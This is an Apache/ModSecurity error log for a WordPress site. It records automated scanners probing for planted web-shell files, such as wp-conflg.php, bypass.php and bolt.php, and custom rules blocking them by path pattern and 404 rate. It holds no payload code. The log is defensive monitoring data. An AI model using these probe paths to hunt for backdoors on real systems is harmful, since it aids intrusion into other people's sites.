[Thu Apr 09 16:09:39.060029 2026] [:error] [pid 20837:tid 20839] [client 216.24.210.28:41601] [client 216.24.210.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "addew_SL71FHZkjrGzOvuAAAAYA"]
[Thu Apr 09 16:09:39.460169 2026] [:error] [pid 20837:tid 20853] [client 20.215.65.153:63062] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "addew_SL71FHZkjrGzOvuwAAAY4"]
[Thu Apr 09 16:09:40.168431 2026] [:error] [pid 24927:tid 24932] [client 216.24.210.19:32355] File does not exist: /usr/local/apache/htdocs/suspended-page/gm.php
[Thu Apr 09 16:09:40.243984 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:64952] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "addexDXObuzEuw8mNJuhlAAAAQw"]
[Thu Apr 09 16:09:40.387283 2026] [:error] [pid 24927:tid 24954] [client 216.24.210.19:32355] [client 216.24.210.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "addexDXObuzEuw8mNJuhlwAAARg"]
[Thu Apr 09 16:09:41.273577 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:63556] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "addexe4Jn-WvK1ZBTviVsgAAAMQ"]
[Thu Apr 09 16:09:41.617576 2026] [:error] [pid 24624:tid 24629] [client 173.239.218.18:54499] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "addexe4Jn-WvK1ZBTviVtAAAAMM"]
[Thu Apr 09 16:09:42.220541 2026] [:error] [pid 20837:tid 20852] [client 20.215.65.153:62369] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no1.php"] [unique_id "addexvSL71FHZkjrGzOvwQAAAY0"]
[Thu Apr 09 16:09:43.540631 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:64265] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "addex8De826HlFeoLPI9JwAAAVM"]
[Thu Apr 09 16:09:44.263740 2026] [:error] [pid 24515:tid 24520] [client 216.24.210.19:52181] [client 216.24.210.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "addeyK1OMnvM2fMnB1NOBQAAAAE"]
[Thu Apr 09 16:09:44.859476 2026] [:error] [pid 24516:tid 24568] [client 216.24.210.36:35927] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Thu Apr 09 16:09:45.158974 2026] [:error] [pid 24516:tid 24555] [client 216.24.210.36:35927] [client 216.24.210.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "addeydhW7vSS-UkeWCUHqwAAAEg"]
[Thu Apr 09 16:09:45.856511 2026] [:error] [pid 24624:tid 24628] [client 20.215.65.153:62413] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "addeye4Jn-WvK1ZBTviVuAAAAMI"]
[Thu Apr 09 16:09:46.465914 2026] [:error] [pid 24516:tid 24569] [client 173.239.218.17:24915] [client 173.239.218.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "addeythW7vSS-UkeWCUHrgAAAFY"]
[Thu Apr 09 16:09:47.362901 2026] [:error] [pid 24624:tid 24642] [client 216.24.210.12:61779] [client 216.24.210.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/as.php"] [unique_id "addey-4Jn-WvK1ZBTviVvAAAANA"]
[Thu Apr 09 16:09:47.529703 2026] [:error] [pid 24624:tid 24650] [client 20.215.65.153:64881] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "addey-4Jn-WvK1ZBTviVvgAAANg"]
[Thu Apr 09 16:09:48.218114 2026] [:error] [pid 20837:tid 20858] [client 216.24.210.10:49193] [client 216.24.210.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "addezPSL71FHZkjrGzOvxQAAAZM"]
[Thu Apr 09 16:09:49.045909 2026] [:error] [pid 24927:tid 24949] [client 216.24.210.38:50277] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/install.php"] [unique_id "addezTXObuzEuw8mNJuhngAAARM"]
[Thu Apr 09 16:09:49.577757 2026] [:error] [pid 24517:tid 24591] [client 20.215.65.153:64906] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/w2025.php"] [unique_id "addezXboYEn2ZFM_PS9fgQAAAJE"]
[Thu Apr 09 16:09:49.753370 2026] [:error] [pid 24927:tid 24942] [client 216.24.210.38:62879] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "addezTXObuzEuw8mNJuhoAAAAQw"]
[Thu Apr 09 16:09:50.508100 2026] [:error] [pid 24927:tid 24947] [client 20.215.65.153:62979] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fvvff.php"] [unique_id "addezjXObuzEuw8mNJuhpAAAARE"]
[Thu Apr 09 16:09:51.118771 2026] [:error] [pid 20837:tid 20851] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/fvvff.php
[Thu Apr 09 16:09:51.378907 2026] [:error] [pid 20837:tid 20863] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/a2.php
[Thu Apr 09 16:09:52.791562 2026] [:error] [pid 20837:tid 20863] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu Apr 09 16:09:52.997707 2026] [:error] [pid 24927:tid 24934] [client 216.24.210.12:48579] [client 216.24.210.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "adde0DXObuzEuw8mNJuhqgAAAQQ"]
[Thu Apr 09 16:09:53.339311 2026] [:error] [pid 20837:tid 20860] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Thu Apr 09 16:09:54.228907 2026] [:error] [pid 24927:tid 24946] [client 173.239.218.18:59947] [client 173.239.218.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "adde0jXObuzEuw8mNJuhrgAAARA"]
[Thu Apr 09 16:09:54.783727 2026] [:error] [pid 24927:tid 24949] [client 216.24.210.7:44065] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Thu Apr 09 16:09:54.881562 2026] [:error] [pid 20837:tid 20854] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/66.php
[Thu Apr 09 16:09:55.094445 2026] [:error] [pid 24927:tid 24952] [client 216.24.210.7:44065] [client 216.24.210.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "adde0zXObuzEuw8mNJuhsgAAARY"]
[Thu Apr 09 16:09:55.142022 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Thu Apr 09 16:09:55.400073 2026] [:error] [pid 20837:tid 20845] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/ol.php
[Thu Apr 09 16:09:55.658146 2026] [:error] [pid 20837:tid 20856] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Thu Apr 09 16:09:56.360325 2026] [:error] [pid 24927:tid 24937] [client 216.24.210.37:27259] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "adde1DXObuzEuw8mNJuhtwAAAQc"]
[Thu Apr 09 16:09:56.666063 2026] [:error] [pid 20837:tid 20857] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Thu Apr 09 16:09:56.933006 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:63637] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Thu Apr 09 16:09:57.243592 2026] [:error] [pid 20837:tid 20862] [client 20.215.65.153:63637] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "adde1fSL71FHZkjrGzOv0wAAAZc"]
[Thu Apr 09 16:09:57.247217 2026] [:error] [pid 24517:tid 24580] [client 216.24.210.44:40103] File does not exist: /usr/local/apache/htdocs/suspended-page/wsax.php
[Thu Apr 09 16:09:57.837666 2026] [:error] [pid 24927:tid 24930] [client 20.215.65.153:64250] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "adde1TXObuzEuw8mNJuhugAAAQA"]
[Thu Apr 09 16:09:58.195315 2026] [:error] [pid 24517:tid 24575] [client 216.24.210.44:40103] [client 216.24.210.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "adde1nboYEn2ZFM_PS9fhwAAAIE"]
[Thu Apr 09 16:09:58.736176 2026] [:error] [pid 24624:tid 24629] [client 173.239.218.22:39181] [client 173.239.218.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "adde1u4Jn-WvK1ZBTviVyAAAAMM"]
[Thu Apr 09 16:09:58.876764 2026] [:error] [pid 18477:tid 18480] [client 20.215.65.153:64253] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "adde1sDe826HlFeoLPI9OwAAAUE"]
[Thu Apr 09 16:09:59.443936 2026] [:error] [pid 24624:tid 24646] [client 20.215.65.153:63640] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "adde1-4Jn-WvK1ZBTviVzAAAANQ"]
[Thu Apr 09 16:09:59.475145 2026] [:error] [pid 24624:tid 24628] [client 216.24.210.18:63819] [client 216.24.210.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "adde1-4Jn-WvK1ZBTviVzQAAAMI"]
[Thu Apr 09 16:10:00.176012 2026] [:error] [pid 24624:tid 24626] [client 216.24.210.20:29063] [client 216.24.210.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "adde2O4Jn-WvK1ZBTviV1gAAAMA"]
[Thu Apr 09 16:10:00.565340 2026] [:error] [pid 24624:tid 24641] [client 20.215.65.153:64879] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "adde2O4Jn-WvK1ZBTviV1wAAAM8"]
[Thu Apr 09 16:10:01.173199 2026] [:error] [pid 24927:tid 24939] [client 20.215.65.153:63045] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "adde2TXObuzEuw8mNJuhvwAAAQk"]
[Thu Apr 09 16:10:01.905018 2026] [:error] [pid 20837:tid 20851] [client 20.215.65.153:63066] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "adde2fSL71FHZkjrGzOv4AAAAYw"]
[Thu Apr 09 16:10:02.454654 2026] [:error] [pid 24516:tid 24552] [client 20.215.65.153:64289] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "adde2thW7vSS-UkeWCUHsQAAAEU"]
[Thu Apr 09 16:10:02.997492 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:63615] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adde2vSL71FHZkjrGzOv6gAAAYE"]
[Thu Apr 09 16:10:03.441861 2026] [:error] [pid 20837:tid 20850] [client 216.24.210.41:41345] [client 216.24.210.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "adde2_SL71FHZkjrGzOv7AAAAYs"]
[Thu Apr 09 16:10:03.742032 2026] [:error] [pid 20837:tid 20841] [client 20.215.65.153:62998] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adde2_SL71FHZkjrGzOv8AAAAYI"]
[Thu Apr 09 16:10:03.836522 2026] [:error] [pid 18477:tid 18493] [client 216.24.210.23:46561] [client 216.24.210.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "adde28De826HlFeoLPI9SQAAAU4"]
[Thu Apr 09 16:10:04.417059 2026] [:error] [pid 24515:tid 24522] [client 20.215.65.153:63579] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adde3K1OMnvM2fMnB1NODgAAAAM"]
[Thu Apr 09 16:10:04.766626 2026] [:error] [pid 24927:tid 24950] [client 216.24.210.29:64465] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "adde3DXObuzEuw8mNJuhywAAARQ"]
[Thu Apr 09 16:10:04.960866 2026] [:error] [pid 24927:tid 24944] [client 20.215.65.153:63572] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "adde3DXObuzEuw8mNJuhzQAAAQ4"]
[Thu Apr 09 16:10:05.648221 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:64198] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "adde3TXObuzEuw8mNJuh0QAAAQw"]
[Thu Apr 09 16:10:05.667684 2026] [:error] [pid 24516:tid 24571] [client 216.24.210.43:21007] [client 216.24.210.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "adde3dhW7vSS-UkeWCUHsgAAAFg"]
[Thu Apr 09 16:10:06.189397 2026] [:error] [pid 18477:tid 18503] [client 20.215.65.153:64939] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "adde3sDe826HlFeoLPI9UgAAAVg"]
[Thu Apr 09 16:10:07.566422 2026] [:error] [pid 24517:tid 24584] [client 216.24.210.24:26245] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "adde33boYEn2ZFM_PS9fiwAAAIo"]
[Thu Apr 09 16:10:07.678606 2026] [:error] [pid 24927:tid 24945] [client 20.215.65.153:63079] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "adde3zXObuzEuw8mNJuh1wAAAQ8"]
[Thu Apr 09 16:10:08.735041 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:64294] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bless4.php"] [unique_id "adde4DXObuzEuw8mNJuh2gAAARg"]
[Thu Apr 09 16:10:09.293368 2026] [:error] [pid 24927:tid 24932] [client 20.215.65.153:63058] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adde4TXObuzEuw8mNJuh2wAAAQI"]
